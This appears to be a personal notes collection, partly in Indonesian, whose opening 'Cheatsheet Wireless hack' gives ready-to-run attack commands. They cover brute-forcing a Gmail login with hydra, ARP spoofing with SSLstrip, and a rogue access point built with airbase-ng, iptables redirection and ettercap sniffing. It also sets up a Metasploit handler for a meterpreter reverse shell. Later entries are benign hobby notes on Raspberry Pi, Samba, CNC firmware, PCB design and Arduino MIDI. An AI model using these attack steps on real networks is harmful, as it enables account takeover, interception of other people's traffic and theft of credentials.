Cheatsheet Wireless hack

Bruteforce gmail

hydra -S -l xxx@gmail.com -P /pentest/password/wordlist/word.lst -e ns -V -s 465 smtp.gmai.com smtp


------------------------------------------

SSLSTRIP

  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

liat gateway cari target

  nmap -sS -O gateway/24

  arpspoof -i wlan0 -t targetIP -r gatewayIP

new terminal
  sslstrip -l 8080

------------------------------------------

FAKE ACCESS POINT

  route n
  find gatewayIP

  apt-get install dhcp3-server

  /etc/dhcpd.conf

    >>isinya

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
option domain-name "AZANA16-2";
option domain-name-servers 192.168.1.1;
range 192.168.1.2 192.168.1.40;
}


  airmon-ng
  airmon-ng start wlan0

  airbase-ng -c 11 -e AZANA16-2 mon0

 #new terminal
  ifconfig at0 192.168.1.1 netmask 255.255.255.0
  ifconfig at0 mtu 1400
  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  echo 1 > /proc/sys/net/ipv4/ip_forward
  iptables -t nat -A PREROUTING -p udp -j DNAT --to gatewayIP
  iptables -P FORWARD ACCEPT
  iptables --append FORWARD --in-interface at0 -j ACCEPT
  iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
  /etc/init.d/isc-dhcp-server start

  sslstrip -f -p -k 10000

 #new terimal
  ettercap -p -u -T -q -i at0


---------------------

RESEP LINUX

mounting samba
  mount -t cifs //192.168.99.88/Public -o username=irza,password=xxx


use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

===========================================
SSLSTRIP on router


echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

  gwip: gateway ip

nmap -sS -O gwip/24

  targip: targetip


arpspoof -t eth0 -t targip -r gwip

sslstrip -l 8080

Marlin for CNC

ini yang saya ganti di pin.h
banyakan sih di STEP dan DIR

di configuration.h set ke motherboard 99
jangan lupa set default_step juga

configuration.h
  Z_MIN_POS -150
  HEATER_0_MINTEMP 0
  #define DEFAULT_AXIS_STEPS_PER_UNIT   {78.7402,78.7402,200.0*8/3,760*1.1}  // default steps per unit for Ultimaker
sesuaikan dengan rumus.

pin.h

#if MOTHERBOARD == 99
#define KNOWN_BOARD 1

#define X_STEP_PIN          3
#define X_DIR_PIN           4
#define X_ENABLE_PIN        -1
#define X_STOP_PIN          -1

#define Y_STEP_PIN          7
#define Y_DIR_PIN           8
#define Y_ENABLE_PIN       -1
#define Y_STOP_PIN          -1

#define Z_STEP_PIN          5
#define Z_DIR_PIN           6
#define Z_ENABLE_PIN       -1
#define Z_STOP_PIN          -1

#define E0_STEP_PIN         9
#define E0_DIR_PIN          10
#define E0_ENABLE_PIN      -1

#define SDPOWER            -1
#define SDSS               53
#define LED_PIN            -1
#define FAN_PIN            -1
#define PS_ON_PIN           9
#define KILL_PIN           -1

#define HEATER_0_PIN        13
#define HEATER_1_PIN       -1
#define HEATER_2_PIN       -1
#define TEMP_0_PIN          6   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_1_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define TEMP_2_PIN         -1   // MUST USE ANALOG INPUT NUMBERING NOT DIGITAL OUTPUT NUMBERING!!!!!!!!!
#define HEATER_BED_PIN      4
#define TEMP_BED_PIN       10

#endif /* 99 */


referensi saya:
http://www.buildlog.net/blog/2012/08/hacking-your-cnc-toolchain/

mengInstall PjSIP

mengInstall PjSIP
di Raspberry Pi


sudo apt-get install libv4l-dev libx264-dev libssl-dev libasound2-dev asterisk


SDL

cd
mkdir tmp
cd $HOME/tmp
wget http://www.libsdl.org/tmp/SDL-2.0.tar.gz
tar xvfz SDL-2.0.tar.gz
cd SDL-2.0.0-7125/
./configure
make
sudo make install

FFMPEG

cd $HOME/tmp
wget http://ffmpeg.org/releases/ffmpeg-0.10.7.tar.bz2
tar xvfj ffmpeg-0.10.7.tar.bz2
cd ffmpeg-0.10.7
./configure --enable-shared --disable-static --enable-memalign-hack --enable-gpl --enable-libx264
make
sudo make install

Build PjSIP

cd $HOME/tmp
wget http://www.pjsip.org/release/2.1/pjproject-2.1.tar.bz2
tar xvfj pjproject-2.1.tar.bz2
cd pjproject-2.1.0/
./configure --disable-video
make dep
make

Mounting Samba

instruksi mounting samba ke raspberry pi

sudo apt-get install smbclient

sudo mount -t cifs -o user=IRZA,password=S***,sec=ntlmv2,rw,file_mode=0777,dir_mode=0777 //192.168.30.97/Public /home/pi/data/


untuk raspberry pi bisa dimounting di Windows.

sudo apt-get install samba samba-common-bin

edit file /etc/samba/samba.conf

tambahkan:
  workgroup = yes
  wins support = yes

dan berikut ini:

[pihome]
   comment= Pi Home
   path=/home/pi
   browseable=Yes
   writeable=Yes
   only guest=no
   create mask=0777
   directory mask=0777
   public=no

Updated Robot WishList

  1. I would like to have a mobile workstation for my laptop, i usually change place while working.. living room, backyard.. etc (still in my home)
  2. Making the robot available to Indonesian language is better.
  3. I don't watch TV so much  but I would like to have recent news from selected RSS internet feed
  4. Communicating with people.. i mean telephony system in my robot.. i can perform calls from my laptop and vice versa.
  5. I want to check email.. and someone read it for me.
  6. Browsing the internet by voice or virtual touch (without mouse?)
  7. Entertaing robot..
  8. I have music clips or movie clips that i like to see many times. (building database and a navigation menu for search)
  9. I shared my laptop with my wife, and some other people.. so i cannot close the laptop for only one software. maybe other people can use the system too..
  10. Video capture
  11. I love music and love playing drums.. i want to have a recording station while jamming with my friends.
  12. Chatting with the robot would be nice
  13. Should be relatively cheap.. =)
  14. I like to have a menu system for my robot
  15. The robot should have a brain for navigating my house.
  16. The robot can recognize face and objects..
  17. Home controlled by robot.. this is good
  18. Robot Emotions? Leaf have that
  19. The robot can take or bring me something... (i think it's very hard)
  20. This one is really deep..   i want to ride my robot. transportation in my neigborhood maybe?? (last priority :) )

21. Sync with Social Media / Facebook / Twitter / email
22. Design is Modular. Can add Head / Arm / other Interface.
23. Remainder - Sync with Contacts and Google Calendar.
24. Update with weather and Traffic Jam CCTV.

25. Can use APM - Mission planner and Turnigy Remote
26. Interface to ROS


PCB Design Error

Ini kesalahan saya dalam mendesain PCB.

1. Posisi Terminal tidak lega.
posisi terminal yang miring tidak membuat pemasangan kabel menjadi mudah, melainkan cukup menyulitkan.
Buat terminal di pinggir dan lubang menghadap luar

2. Jalur bisa dibuat lebih besar.
Sepertinya saya memakai 0.5 sebagai lebar jalur. Bisa gunakan 0.7 / 0.8


Flash Arduino UNO / MEGA menjadi device MIDI

Salah satu implementasi arduino yang menarik adalah membuat arduino menjadi midi device.
Langkah berikut untuk flashing arduino

Saya menggunakan arduino mega 2560 dari DFROBOT bisa dibeli disini

1. download dfu-programmer / unzip di harddisk anda download disini
2. download hex yang sudah dicompile   download disini

3. Connect Arduino ke computer via USB
4. reset Arduino dengan menghubungkan 2 solderan ini (pin)

5. Nanti Arduino mereset dan setelah connect kembali dia menjadi ARDUINO DFU
6. PENTING: Install driver windows dfu dengan mengarahkan ke directori dfu yang telah didownload
7. Jalankan langkah ini:

dfu-programmer at90usb82 erase
dfu-programmer at90usb82 flash Arduino-usbmidi-0.2-mega2560.hex
dfu-programmer at90usb82 reset

8. Lepas USB dan Connect kembali.

Anda tidak bisa mengupload sketch apabila sudah memasang ini. Upload implementasi anda sebelumnya.
atau mereflash kembali ke MEGA-dfu_and_usbserial_combined.hex yang ada di directory
arduino-1.0.5\hardware\arduino\firmwares\atmegaxxu2

Semoga Berhasil.


Raspberry Pi - web2py


Install Web2py di Pi


wget http://web2py.googlecode.com/hg/scripts/setup-web2py-ubuntu.sh
chmod +x setup-web2py-ubuntu.sh
sudo ./setup-web2py-ubuntu.sh

Install Pygal. for Pi
slow but works.
apt-get install python-pip
apt-get install libxml2-dev libxslt1-dev gcc
apt-get install python2.7-dev
pip install pygal

Client ntpdate
sudo apt-get install ntpdate

bisa sync waktu dengan command:
ntpdate -u id.pool.ntp.org

Untuk crontab.
crontab -e
0/15 0 0 0 0 sudo ntpdate -u id.pool.ntp.org
@reboot root ntpdate -u id.pool.ntp.org